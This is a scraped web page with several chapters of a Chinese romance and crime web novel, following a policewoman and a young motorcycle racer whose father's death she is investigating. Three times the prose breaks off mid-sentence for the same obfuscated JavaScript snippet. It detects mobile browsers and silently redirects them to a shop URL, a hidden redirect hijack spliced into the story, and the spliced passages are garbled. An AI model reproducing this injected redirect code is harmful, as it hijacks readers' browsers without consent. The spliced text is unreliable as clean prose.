岑星禾把信封收好站起来,“我们会核实你说的话。” 老方点了点头,“我有老婆孩子,她们在这我跑不了,更何况靠山都倒了,没地方 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17548335|204249||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 跑,我也没犯重罪,我只要求配合办案,能从轻处置。” 岑星禾说:“我们会酌情处理。” 老方说:“其实在你们之前,有燕港警方派人来找过我了,我什么都没说,现在我改变主意了,过几天我就去燕港一趟。” 岑星禾往外走,李烈跟在她身后,走到门口的时候,老方忽然叫住了他。 “你爸……”老方顿了顿,“他是个好人,他跟我们不一样。” 李烈没有回头,他顿了一下,大步迈了出去。 回到燕港,岑星禾把照片和邮箱信息发给了同门师姐程焕,她曾经在帕邦做过线人,对那边很了解,两个人关系不错,偶尔还会约着吃饭。 消息发出去,程焕很快回了:“泰显臻是帕邦的毒枭,他很多年前就死了,本地门派斗争将他居住的仰圣堂灭门了,还上过国际新闻。 “没听过他还有弟弟,我托人查查,你别急。” 岑星禾应了下来,接下来只能等待消息了,这件旧案由于李烈身上证据出现,让老周也重视了起来。 老方这个人很复杂,他身上牵扯到两桩案子,除了李承案子,还有一个是帕邦仰圣堂灭门案,他是泰显川的小弟,知道一些内情,这也是燕港警方之前找他的原因。 经过审核,上头决定重启李承旧案,老方很快被带回燕港做笔录。 岑星禾照常上班,李烈照常修车,两个人见面的频率变了,以前是岑星禾隔三差五往修车铺跑,现在是李烈每天晚上骑着机车到派出所门口等她下班。 有时候她加班到很晚,出来的时候看见他靠在机车上,嘴里叼着一根没点的烟,路灯把他整个人镀成暖黄色。 “你怎么又来了?”她问。 “路过。” “你住城西,我住城东,你路过什么?” 李烈把烟从嘴里拿下来,塞回烟盒,没回答,他把头盔递给她,拍了拍后座。岑星禾叹了口气,接过头盔,没坐上去,只皱眉问,“你什么时候学的抽烟?” 李烈收起打火机,“我不抽烟。” 岑星禾简直不相信自己的耳朵,“你不抽烟,天天叼着一根烟干嘛?” “我就想看看,你会不会管我。” “我哪有不管你。” 李烈又拿回头盔,给她戴上,笑得一脸欠揍,“第一次见面,我怕你不理我了,故意做给你看的。” 岑星禾气得想笑,对于这种鬼点子无语至极,她坐上后座,还住他腰的瞬间才发现,他身上的确没有烟草味。 日子就这么一天一天地过,又过了一周,李烈不来了,天气又热,岑星禾也不希望他骑着机车那么跑来跑去的。 程焕那边一直没有消息,两周过去了,岑星禾发了两次信息问,程焕都说还在查。 一个消失了十余年的人的确不好找,这和大海捞针没区别,岑星禾都有点没底了。 * 七月中旬,燕港热得像蒸笼,岑星禾穿着短袖,还是觉得后背全是汗。 那天下午,她正在办公室里整理档案,门口突然闯进来一个人,一个十八九岁的姑娘,穿着牛仔短裤和白色上衣,头发扎成高马尾,脸上带着怒气。 岑星禾认识她,李烈打架那次,这姑娘和他一起进过派出所。 “你是岑星禾?”女孩的声音很冲。 岑星禾皱了皱眉,“你怎么进来的?” 她侧头看到了老周站在门外,一下就明白了。 “我是,怎么了?”她问。 “你知不知道你把李烈害成什么样了?” 岑星禾心头一紧:“什么意思?” 女孩眼圈红了,气得浑身发抖,“他昨晚去跑地下赛车,被别人恶意别车,在终点摔了,现在在医院。”女孩的声音发抖,“你知不知道他下个月有一个特别重要的国际比赛?他要是拿不了奖,他就没办法上大学了。” 岑星禾站起来,椅子往后推,发出一声刺耳的响,“什么比赛?什么大学?” “上城大学打算破格录取他,只要他能拿到国际赛事的奖项,”姑娘崩溃大喊,“他准备了三年,就等这场比赛了,结果他跑去地下赛车,就为了赚那点破奖金,他疯了!” “都是为了你!” 岑星禾脑子嗡了一下,上城大学最出名的一个专业就是机械工程,有这么一个机会,李烈从来没跟她提过。 “他在哪个医院?” “市人民医院。” 岑星禾抓起桌上的钥匙就往外跑,出门的时候,差点撞上老周,老周探头看了眼岑星禾身后满脸通红的毛丫头,招了招手,让她出来。 打车去医院的路上,她的手一直在抖。 她想给李烈打电话,按了两遍号码,又挂掉了,她怕听到电话那头他的声音,怕听到他说没事,更怕听到他说有事。 7. Chapter 7·腿受伤 市二院外科住院部在新楼,那里路线复杂。 岑星禾在客服中心报了李烈的身份证号,查到床位后,立马起身去了住院部,她是跑过去的,头发已经散了,几缕碎发贴在脸上,她在走廊尽头找到了那间病房。 25号床,门口电子屏幕上显示的正是李烈的名字。 门半开着,里面传来电视的声音。 她推门进去。 李烈半躺在病床上,左腿缠着纱布,吊在半空中,他穿着一件病号服,领口的扣子没系,锁骨和一小截胸口露在外面,右手上也有纱布,从手腕缠到手掌。 他正拿着遥控器换台,看到岑星禾进来,手顿了一下。 “你怎么来了?”他的语气很轻松,甚至带着点意外,好像只是在家里客厅看到她,不是在医院病床上。 岑星禾站在门口,看着他缠满纱布的腿和手,眼泪一下子就涌上来了,她忍住没让它们掉下来,“李烈,你是不是疯了?”。 李烈把遥控器放下,还是那种懒洋洋的,一副什么事都不在意的样子,“摔了一下,没事。” “没事?”岑星禾站在床边,低头看着他那条吊起来的腿,“你跟我说这叫没事?” “皮外伤。” “皮外伤要吊起来?” 李烈看了她一眼,忽然皱起眉头,五官挤在一起,嘴巴里发出“嘶”的一声。 “怎么了?”岑星禾一下子慌了,“哪疼?” “手。”李烈把缠着纱布的右手举起来,表情痛苦,“特别疼,你帮我看看是不是骨头错位了。” 岑星禾赶紧凑过去,小心翼翼地捧起他的手,仔细看纱布下面的形状,她的手指很轻,托着他的手指,像托着什么易碎的东西。 “我去叫医生。”她转身要走。 李烈猝不及防地握住了她的手,他的手掌很大,缠着纱布把她的手整个包住,他没有用力,也没松开。 “不用叫。”他的声音带着一点得逞的笑意,“你来了就不疼了。” 岑星禾愣了两秒,看着他的表情哪里还有刚才的痛苦,眉头舒展了,嘴角微微翘着,那双乌黑透亮的眼睛里全是狡黠的光。 他装的。 她猛地抽回手,往后退了一步,“李烈!” “嗯?” “你骗我?” “没骗你,”他又往后看了看,低哑的嗓音混着笑意,“刚才真的疼,你来了就好多了。” 岑星禾气得说不出话,她的眼眶还红着,脸上挂着没干的泪痕,那双眼睛里的担忧已经变成了恼怒,“你拿自己的伤开玩笑?” 李烈看着她红红的眼眶和湿漉漉的睫毛,玩世不恭地脸上添了几分严肃。“别生气了,真的没大事,就是蹭破点皮,腿也没断,韧带拉伤,养几天就好。” “那为什么要吊起来?” “医生说要制动。”他学了个专业词汇,显得很无辜。 岑星禾深吸一口气,把眼泪逼回去,她在床边坐下来,离他远远的,低头摆弄着衣角,赌气不去看他。 “你来就是为了跟我摆架子的?”李烈歪着头看她。 岑星禾不理他。 “女王大人。”他叫她。 岑星禾不理他。 “姐姐。” 岑星禾的睫毛颤了一下,她还是没回头。 李烈用没受伤的那只手够过去,拽了拽她的衣角,他的手指很热,隔着薄薄的T恤,像一小块炭,“我错了。” 岑星禾终于转过头来,怕他动起来会牵扯到伤口,特意朝他的方向挪动了一下。 她看着他的脸,十九岁的少年年轻好看,嘴角那个痞痞的笑容又浮上来了,眼底的光是认真的,眼睛像两颗黑石子泡在水里,干净坚硬,眼底带着一种不属于这个年纪的深沉。 “你错哪了?”她问。 “不该骗你。” “还有呢?” “不该让你担心。” “还有呢?” 李烈想了想:“不该去跑赏金赛。” 岑星禾听到这个,眼神又暗下去了。 “你为什么要去?”她声音低下来,“你知不知道那有多危险?那种比赛没有保护措施,出事了连急救车都叫不来。” “没有很危险。”李烈打断她。 “你还嘴硬?” “那个不是地下赛,是主办方组织的正规比赛,有安全防护。” 岑星禾看着他缠着纱布的手,看着他的腿,看着他因为一晚没睡好而微微发青的眼圈,突然无法继续责骂。 她低下头,眼泪终于掉下来,一颗一颗的,落在她的手背上,落在白色的床单上,李烈伸出手,用缠着纱布的指背去蹭她脸上的泪,纱布粗糙,蹭在她皮肤上有点疼,她没有躲。 “别哭了。”他声音很轻。 “我没哭。”岑星禾吸了吸鼻子。 “眼泪都滴到我床上了。” 岑星禾抬起头瞪了他一眼,眼睛红红的像只兔子,李烈看着她的样子,懒懒地笑了一下。 “你还笑?” “你好看。”他说。 岑星禾的恼怒又上来了,这次她忍住了,她把眼泪擦干,站起来,拉过椅子坐到了他床边,“医生怎么说?” “住院一周,然后回家静养。” “国际比赛呢?” 李烈沉默了一下,“还有一个月呢,我没问题。” 岑星禾心口像压了一块大石头,钝钝的,有些喘不过气,“你就那么不想靠我?” 李烈偏过头看着她,眼神很深,“跟你没关系。” “跟我没关系?”岑星禾的声音大了一点,“你为了钱去跑赏金赛,摔成这样,你跟我说跟我没关系?” “这是我的选择。” 岑星禾站起来,椅子往后倒,她没扶,“我先走了,你好好养伤。” “星禾。” 她停住了,他又叫她的名字,她站在病房门口,背对着他。 “你明天还来吗?”他问。 岑星禾没回答,拉开门走了出去,到护士站沟通完,给他安排了一个护工,付了钱就离开了,第二天她还是来了,第三天也来了,第四天、第五天、第六天,每天都来。 她下了班就打车到医院,带饭给他,医院的饭他嫌难吃,她就从外面买,有时候是粥,有时候是馄饨,有一次她带了螺蛳粉,被护士拦在了病房外面。 “医院不能吃这个。”护士皱着鼻子说。 岑星禾站在走廊里,提着那袋螺蛳粉,一脸无辜,李烈在病房里笑得伤口疼,第七天,李烈的腿上拆了纱布,换成护具,可以拄着拐杖下地走了。 岑星禾扶着他去走廊里散步,他比她高出一个头,大半的重量压在她身上,她咬着牙撑着,脸都憋红了。 “你太重了。” “你太弱了。”他说。 岑星禾皱了皱鼻子,威胁得扬了下拳头,“你再说一遍?” “我说你太弱了,”李烈鼻尖几乎碰到她的额头,“以后多吃点,不然抱不动我。” “我为什么要抱你?” “万一我走不动了呢。” “你可以拄拐。” 李烈笑了一下,把重心从她身上移开了一点,自己拄着拐杖往前走,岑星禾跟在他旁边,手臂伸着,随时准备扶他,两个人在走廊里走了两个来回,李烈停下来,靠在墙上喘气。 “累了?”岑星禾问。 “不累。” “那你喘什么 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17548336|204249||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ?” “热的。” 走廊的窗户开着,七月的风吹进来,带着一股热浪和蝉鸣,岑星禾从包里翻出一张湿纸巾递给他,李烈低下头,把脸凑过来。 岑星禾看了他一眼,“自己擦。” “手疼。”他把缠着纱布的手举起来,表情无辜。 岑星禾叹了口气,把纸巾按在他额头上,擦了擦他脸上的汗,她的手指碰到他的皮肤,凉凉的,带着洗手液的味道。 李烈闭了一秒眼睛,又睁开,擦完了,岑星禾把纸巾团成一团,扔进垃圾桶,“走了,回去。” “再站一会儿。” “外面热。” “你怕热?” “我怕你中暑。” 李烈冷不丁伸手,手掌贴上她的侧脸,他的手几乎盖住了她半张脸,拇指正好在她颧骨的位置,他的掌心很热,带着伤口的温度,“你脸红了。” “热的。” “嗯,热的。”他学她的语气,嘴角翘着。 岑星禾把他的手从脸上拿下来,动作不重,力道坚决,“走了。” 李烈跟在她身后,看着她走路时微微晃动的马尾辫,笑了一下。 出院那天,岑星禾去办手续。 李烈坐在病床上,把东西收拾好了,一个塑料袋,装着他的换洗衣服和护具,他等岑星禾出去了,从背包的夹层里摸出一张银行卡攥在手里。 岑星禾回来的时候,他已经把卡藏好了。 两个人出了医院,打了辆车回修车铺,一路上李烈没怎么说话,岑星禾以为他是累了。 到了修车铺,岑星禾扶着他进去,让他坐在行军床上,她把东西放下,去倒了杯水给他。 李烈接过水没喝,他把杯子放在一边,从裤兜里摸出那张银行卡递到她面前,岑星禾低头看着那张卡:“这是什么?” “给你的。” 李烈把卡塞到她手里,动作很随意,好像在递一张纸巾,“里面有五十万,够你付一间公寓的首付了。” 岑星禾看着手里的卡,又看着他,他的表情很平静,甚至有一点漫不经心,好像说的不是五十万,是五十块。 “你哪来的钱?”她的声音有些发紧。 “比赛赢的。” “什么比赛?” 李烈没回答,岑星禾突然间明白了。 赏金赛。 摔伤。 这张银行卡。 她眼眶一下子红了,心里涌起的不是感动,是无法言语的愤怒,她鼻尖一下子泛起一阵酸意,一股难言的无力感忽然摄住了她,眼泪喷涌而出,岑星禾泪眼婆娑地看向他。 “你去跑跑赛车,就是为了这个?”她把卡拍在他身边的床上,声音抖得厉害,每一个字都像在咬牙,“你摔成这样,万一再严重一点,万一赶不上国际比赛,万一上不了大学,我......” “卡里的钱够你买公寓了。”李烈打断她,“你不是想按自己的喜好装修吗?剩下的钱还能买家具,不够的话我再......” “李烈!”岑星禾吼了出来。 修车铺里安静了,灯泡嗡嗡响,铁皮门被风吹得吱呀一声。 她的眼眶红透了,眼泪在眼眶里打转,她整个人在发抖,如同一片被风吹弯了的竹随时会折断。 “我还不需要你卖命。”她声音哑了,“我不需要你用命去换钱。”说完她转身走了。 李烈伸出手,没来得及碰到她,铁皮门被她拉开,又被摔上,“砰”的一声,震得灯泡晃了晃。 他坐在行军床上,低头看着那张被她拍在床上的银行卡,过了一会儿,他拿起来翻到背面,他想起她的愿望清单,内心一阵平静。 他把卡攥在手心里,攥得很紧。 8. Chapter8·有秘密 李烈把拐杖靠在墙边,慢慢坐回那张行军床上,腿还没好利索,坐下去的时候扯了一下,他嘶了一声,小心翼翼地往后躺。 门被人从外面推开了。 胡楚楚站在门口,手里提着一袋水果,马尾扎得高高的,脸上的妆比上次淡了一些,眼圈是红的,一看就是刚哭过。 青春期的女生心思太好猜,李烈能想象她之前是怎么冲到程焕单位闹事,如何过分如何失礼,他对胡楚楚一点心思都没有,他只希望胡楚楚不要去打扰岑星禾。 “我没记错的话,现在是上课时间。” 胡楚楚走进去,把水果放在桌上,站在他面前,低头看着他吊着的腿,“听说你出院了,来看看你。” “看完了,走吧。” 胡楚楚没动,她咬着嘴唇,过了一会儿才开口:“那个女警察来了吗?” 李烈没回答。 “她知道你为了她去地下赛车吗?”胡楚楚的声音有点抖,“她知道你差点摔断腿,差点赶不上比赛,差点上不了大学吗?” “楚楚。”李烈警告的眼神盯着她。 “你为什么不告诉她?”胡楚楚的眼泪掉下来了,“你为她做了那么多,她什么都不知道。” “那不是地下赛,你别吓她。”李烈打断她。 胡楚楚抹了一把眼泪,蹲下来视线和他平齐,“李烈,你恨不恨她?” 李烈一言不发地看着她。 “她爸不是害死了你爸吗?”胡楚楚的声音还在哽咽,“你家里那些人不是都因为她爸吗?” “不是她爸害的,”李烈极少对别人有此耐心,“也不是她害的,我该恨的另有其人。” “可是......” “楚楚。”李烈神情认真,“我不恨她,从来都没有。” 胡楚楚的眼泪流得更凶了。 “那你为什么不理我?”她情绪失控,“我来找你你也不在,打电话你也不接,我担心你,你知不知道?” “你逃课来找我,要是被你爸知道了,有你好果子吃。” 胡楚楚的哭声顿了一下。 “我和岑星禾的事,你就别管了。” 胡楚楚站起来,往后退了一步,她的脸上还挂着眼泪,表情从伤心变成了愤怒。 “你根本就不在乎我?”她的眼妆有点哭花了,“我们认识这么久,我看着你一路咬牙坚持到现在,你最难的时候,我都在你身边,你受伤了我比谁都担心。” 李烈的声音有一种让人安静下来的东西,“楚楚,你要分得清亲情和爱情。” 胡楚楚咬着嘴唇,眼泪大颗大颗地掉,她忽然转过身,看见了墙角那个小电煮锅,她冲过去抓起那个锅,转身朝李烈扔了过去,“你混蛋!” 锅飞过来,李烈没有躲。 “砰”的一声,电锅砸在他肩膀上,弹到地上,摔成两半,锅盖飞出去老远,在地上转了几圈才停下来。 胡楚楚自己也吓到了,她看着摔碎的锅,又看着他,嘴唇在发抖,“你……你怎么不躲?” 李烈坐在床上动都没动,他揉了揉被砸到的肩膀,语气没什么起伏:“砸完了?砸完了我跟你说话。” 胡楚楚站在原地,眼泪止不住地流,她忽然往前冲了一步,张开手臂想抱他,李烈伸手拦住了她,他的手挡在她肩膀前面,力道很坚决。 “楚楚,”他说,“师傅最近身体不好,你别光在外面跑,多回去陪陪他。” 胡楚楚愣在那里,手臂还张着。 “那你呢?” “你别管我了。”李烈说。 胡楚楚低下头,肩膀在抖,她往后退了一步,从口袋里摸出一盒烟,抽出一根,叼在嘴里,打火机按了两下没点着,手指在发抖。 李烈伸手把那根烟从她嘴里抽走了。 “别抽了,”他皱着眉,“难闻死了。” 胡楚楚一把将烟夺回来,攥在手心里。 “你管我。”她声音还带着那股不服输的劲。 某种程度上来讲,他们是一种类型的人,太相似的人反而没办法产生羁绊,做朋友尚可,无法更进一步。 “我不想管你,”李烈靠着桌子,懒洋洋地看了她一眼,“说不准一个火星子把这狗窝给点了,我可没地儿去了。” 胡楚楚瞪着他,眼泪和鼻涕糊了一脸,她把手里的烟捏碎了,碎烟丝从指缝里漏出来,落在地上,她转过身捡起那个摔成两半的电锅,又狠狠地朝他扔了过来,“李烈,你个王八蛋!” 锅砸在他旁边的墙上,“哐当”一声,又摔在地上,彻底散了架,胡楚楚头也不回地跑了出去。 铁皮门被摔得来回晃了几下,慢慢停下来,修车铺里终于安静了。 李烈一个人坐在行军床上,低头看着地上那些碎了的锅片,忽而想起岑星禾用它来煮面时的认真神情,心中多了几分平静。 * 第二天晚上,岑星禾正在家里看卷宗,手机震了一下。 是程焕的信息:[泰显川有消息了] 岑星禾立马把电话打了过去。 程焕说,“泰显川很可能就在本市,用的是假身份,隐姓埋名十一年,我这边还在核实具体住址和活动轨迹,一旦确认,会立刻通知上级领导,随时准备逮捕。” 挂了电话,岑星禾坐在床边,心跳得很快。 害得李家破人亡的人就在这座城市,十一年了,他没有跑远,就藏在她们眼皮底下,她第一个念头是告诉李烈。 她的手已经按到李烈的对话框了,打了几个字,又删掉了。 他下个月就要出国比赛。 上城大学的破格录取,就等着这一场比赛的结果,他心里装了那么多事,从父亲的死到泰显川和那张银行卡,已经够烦了,现在受伤还没好利索。 她不能再往他心里加东西了,岑星禾把手机放下。 两个人还在闹别扭,从她摔门走人之后,她没再去修车铺,他也没联系她,整整一周过去了,两个人谁都没找谁。 她不知道他腿好得怎么样了,不知道他有没有好好吃饭,不知道他行李收拾了没有,她盯着手机屏幕看了很久,然后站起来,换衣服,出门。 到修车铺的时候快九点了。 铁皮门关着,里面透出光来,岑星禾敲了两下,没人应,她又敲了两下,还是没人应。 她伸手推了一下,门没锁,自己开了。 李烈坐在行军床上,面前摊着一个黑色行李箱,里面乱七八糟塞了几件衣服,他正拿着一条裤子往箱子里塞,看到门开了,抬起头,看到是她,他的手停了一下,然后把裤子放下。 两个人对视了几秒。 “你怎么来了?”他怕声音大了她会跑是的。 岑星禾走进去,站在他面前,“你的腿怎么样了?” “好多了。” “能走路吗?” “能。” 岑星禾低头看了看他的腿,又看了看那个行李箱,衣服叠得乱七八糟的,袜子和T恤塞在一起,洗漱用品散落在床边。 “你就这么收拾行李?”她蹲下来,把他塞进去的裤子拽出来,重新叠,“备赛要穿的衣服呢?” “还在柜子里。” “鞋子呢?” “还没刷。” 岑星禾叹了口气,她把行李箱里的东西全倒出来,一件一件整理,T恤叠成方块,袜子卷成球,裤子对折再对折,她做这些事情的时候动作很熟练,她曾经无数次为他这么收拾东西送他回福利院。 无数次离别换来这一次重逢,她不能轻易搅散了。 李烈坐在旁边看着她,“岑星禾。” “嗯。” “你还生气吗?” 她没回答,继续叠衣服。 李烈伸手,按住了她正在叠衣服的手,“我问你话呢。” 他没有那种痞痞的笑,没有懒洋洋的漫不经心,他的眼睛很黑很亮,底下压着的东西太多了,多到她自己都不敢看,“我那天说的话,不是那个意思,我不是想用钱砸你。” “我知道。”岑星禾打断他。 “那你还生气吗?” 岑星禾低下头,看着被他按住的手,他的手指很长,指节分明,手背上拆了线的地方,有淡淡的粉色疤痕。 “我没生气。” “ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17548337|204249||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 又骗人。” 她抬起头瞪了他一眼。 “你一周没来。”他声音像在自言自语,“我以为你不想再见我了。” “我没来是因为我在想事情。”岑星禾说,“想泰显川的事,想你比赛的事,想你说的那些话。”她把手抽出来,继续叠衣服。 “你想明白了?” 昏暗的环境总是能滋生出一些没必要的念头,她低着头叠衣服,有些不自在地蹭了下刚才被他触碰过的手。 “没有,”岑星禾说,“我来看看你。” “来看我干什么?”他问。 “看你吃得好不好,睡得好不好,恢复得好不好。”她的声音闷闷的,从喉咙里挤出来,“行了吧?” 李烈看着她,嘴角慢慢地弯了起来,“行。” 岑星禾把行李箱拉上,拉链拉好,立起来放在墙角,她转过身,从包里拿出一样东西递给他,那是一个盒子,长方形的,深蓝色的包装纸上印着细小的白色星星。 “什么?”李烈接过去。 “赔礼。”岑星禾说,“那天摔门走了,不该那样。” 李烈打开盒子,里面是一条皮带,深棕色的牛皮,扣头是哑光银的,简单干净,不花哨,他拿出来,翻过来看了一眼背面。 内里刻着两个字母,他的手指在那两个字上停了一下,然后抬起眼看她,“你刻的?” “店里的机器刻的。”岑星禾别过脸不去看他,“我就选了个字体。” 李烈把皮带攥在手里,低头看了很久,然后笑了。 “我喜欢,”他压不住嘴角的笑意,“我天天系。” 岑星禾瞪了他一眼:“你还要穿正装比赛,系这个合适吗?” “合适,怎么系都合适。” 岑星禾没再跟他掰扯。 她转过身,目光扫到墙角,那里以前放着那个小电煮锅,现在空空荡荡的,地上一堆碎锅片的痕迹还没扫干净,“你锅呢?” 李烈看了那堆碎锅片一眼,语气很随便:“砸了。” “砸了?怎么砸的?” “跟人吵架,拿我出气,给我砸了。” 岑星禾看着那堆碎片,想象了一下那个画面:“胡楚楚?” 李烈没否认。 岑星禾走过去,把那堆碎片拢了拢,用报纸包好,拎了出去,放在门口的垃圾桶旁边,她拍了拍手上的灰,走回来,“回头我给你买个新的。” “好啊。”他应了一声。 路灯从她身后照过来,把她的影子拉得很长,一直伸到他脚边,李烈看着那道影子,想到她刚才说的关心他的话,“岑星禾,比赛那天体育频道有转播,你记得看。” 岑星禾心里泛着淡淡愉悦,“等你回来,我请你吃饭。” 他嗯了一声。 想到吃饭,修车铺现在没做饭的家伙了,岑星禾只能点了外卖,特意挑了一家有实体门店的商家,点了清淡的水煮鱼,又加了两个素菜,两人吃了一顿饭。 吃饭的间隙,程焕发来一条信息:[泰显川有踪迹了,明天见面聊。] 岑星禾目光停了一秒,拇指在屏幕上滑了一下,把消息划走了,她熄灭屏幕,把手机倒扣在桌面上,动作自然得像是只是看了一眼时间。 “多吃点鱼,”她夹了一筷子无刺鱼肉放到李烈碗里,“补补脑子。” 李烈撩起眼皮看了她一眼,懒洋洋地哦了一声,把肉扒进嘴里,嚼了两下。 李烈吃了一口鱼肉,“有点咸,你去接点水,烧一下。” 岑星禾也吃了口鱼,没觉得咸,结果还是放下筷子,拿起桌上的烧水壶,推门出去了。 水龙头在修车铺后院,天已经黑了,院子里的灯没开,只有远处路灯透过来一点光,她接满一壶,转身往回走。 门半开着,昏黄的光从里面漏出来,在地上切了一道窄窄的口子,她推门进去的时候,李烈正在往她碗里夹菜。 岑星禾提着烧水壶放在底座上,按下烧水键,“以后别喝这边的自来水了,我下次给你买个净水器。” 李烈把最后一口米饭扒进嘴里,含糊着说,“我不用,你别乱花钱了。” 9. Chapter9·逛超市 比赛那天是周六。 岑星禾一大早就起来了,煮了碗面,吃了两口吃不下了,她坐到沙发上,电视打开,调到体育频道。 转播要到下午才开始,她从上午开始等,中间洗了所有的衣服,还把家里里里外外打扫了一遍,阳光照进来,房间里弥漫着一股清新的味道。 有细小的尘埃跳跃在光柱当中,挂晒阳台上的衣服悠悠地随风晃动着,远处隐隐传来夏季才有的蝉鸣。 下午三点,转播开始了。 画面切过来,岑星禾的心跳就已经快了,尤其是看到很多穿比赛服的选手走出来,心脏猛地一下提起来了,像被人攥住了嗓子眼。 室外赛道,镜头从高空俯拍,黄土和碎石铺成的赛道弯弯曲曲地嵌在山谷里,像一条灰白色的蛇。 看台搭在赛道一侧,彩色的旗子被风吹得猎猎作响,阳光很烈,把整个赛道晒得发白,机车停在那里的影子又短又黑。 选手区里,十几个人穿着不同颜色的赛车服,有的蹲在地上检查车,有的在跟技师说话,有的戴着耳机来回踱步,镜头来回扫,她看了一圈没找到他。 她仔细地来回又扫了一圈,直到看见一个人从维修区走出来,穿着一身黑色的赛车服,头盔夹在腋下,没有戴头盔,镜头离得远,脸是模糊的,看不清五官。 那个人走到自己车前,没有马上蹲下去检查,先把头盔放在油箱上,双手交叉握住手套根部,一只一只地拽下来,咬住手套指尖,把右手那只也拽掉了。 咬手套。 岑星禾的呼吸顿了一下。 在修车铺里,他干活干到满手机油,拿水杯时就这么咬着手套拽下来的,她还说了一句“脏不脏”。 他含着手套含混地回了一个字:“渴。” 她不需要看清脸,光是那个动作就够了。 他把手套塞进皮衣口袋里,蹲下来检查前轮,手指沿着轮胎纹路摸了一遍,站起来,接着又蹲下去看链条,动作很快很利落,每个步骤都像是刻在骨头里的。 旁边一个穿红色赛车服的选手走过来,拍了拍他的肩膀,凑过去说了句什么,他偏过头听,点了点头。 那个人又拍了他一下走开了,他表情很专注,嘴角绷着,下颌线锋利得像刀裁出来的。 前奏很长,来来回回准备了接近一个小时。 看台上是不是发出遥远又缥缈地尖叫声,漫长的等待下,选手们上场了,整体排列,蓄势待发。 发令枪响的那一下,岑星禾整个人从沙发上弹了起来。 十几辆机车同时冲出去,引擎的轰鸣声隔着屏幕都震得她胸腔发颤,镜头跟着第一梯队,黄土被后轮卷起来,漫天都是灰黄色的烟。 她努力在一堆黑色赛车服里找他,一开始还能辨认哪个是他,一切远景,没了名字辨识,很难看出他在第几,她主要是靠他过弯时的姿势来辨认。 他总是比别人多压下去一点点,膝盖几乎贴地,上半身伏得极低,像一把被拉满了的弓,别人立起来的时候他还在压,别人收油的时候他还在给油。 解说员的声音尖了起来,她听不太懂术语,只听见“漂亮”、“太冒险了”和“李烈”三个字。 他把车压进弯道的时候,她的手指攥得关节发白。 出弯后直道加速,他从第六追到了第四,下一个弯道,第四追到了第三,再下一个,第三和第二并排。 镜头切到了无人机跟拍,她看见他和前面的红色赛车服只差半个车轮,两个人的头盔挨得那么近,稍微偏一点就会撞上。 她不敢看了,接着又忍不住睁开眼睛。 直道末端是一个右手的发卡弯,红色赛车服提前占了内线,李烈没办法从内线超,只能走外线,外线的土更松,抓地力更差,过弯速度稍微快一点就会侧滑出去。 她看见他的车身倾斜到了几乎要贴地的角度,后轮甩了一下,扬起的土扑了后面的选手一脸。 他从外线硬生生切了过去,出弯的时候,他已经在了第一位。 解说员在喊什么她完全听不见了,她的眼眶已经红了,不知道是因为紧张,还是因为激动。 最后三圈,他一直守在内线,后面的车几次想超都被他挡了回去。 最后一圈的时候,他忽然拉开了一点距离,变得更快了,直道末端他比刚才又多压了一点,膝盖擦过地面的声音隔着屏幕都像是能听见。 冲线距离大概几百米,他第一个冲过了终点线。 整个看台瞬间炸了,彩色的旗子在风里疯狂地摇,有人举着国旗呐喊,欢呼声和引擎声混在一起,变成一片嗡嗡的白噪音。 岑星禾的眼泪一下子就涌了出来,她不知道自己在哭什么,是高兴,是害怕,是心疼,是这十一年所有的愧疚和思念全部搅在一起,在这个瞬间找到了出口。 她哭得说不出话。 屏幕里李烈放慢了车速,慢慢滑到赛道边上,他一条腿撑着地,把车停稳,摘了头盔。 镜头推近。 他的头发全湿了,贴在额头上,脸上全是灰和汗,他先低头看了一眼自己的膝盖,皮裤的滑块磨出了新的划痕,很深,白色的刮痕在黑底上像一道闪电。 他又抬起头,轻轻晃了一下脑袋,让细碎的刘海乖顺一点,接着对镜头露出一个大大的笑容,他伸出右手,食指竖起,举过头顶,在镜头前晃了一下。 第一。 远处挡不住的尖叫声刺破耳膜,所有人都在为他鼓掌,为他高兴,岑星禾瞬间捂住了嘴。 他没有把食指收回去,就那样对着镜头,嘴角的弧度又大了一点,少年笑容里带着一点不羁,一点张扬。 你看,我说了没问题。 他仿佛透过镜头对她说话。 十九岁是他最好的年纪,也是属于他最特别的一年。 岑星禾激动的心慢慢回落到胸腔里,变成一种温淡的兴奋,她从来没有一天这样开心过,她曾经想过无数次,李烈的未来被她父亲毁了,这个无辜的少年原本可以有一个完整而幸福的家庭。 她欠他的太多了,她无法辩驳,唯有赎罪,她只能那么陪着他,像一只受伤的动物看着另外一只受伤的动物,一直看着彼此的伤口流血化脓,气绝而亡。 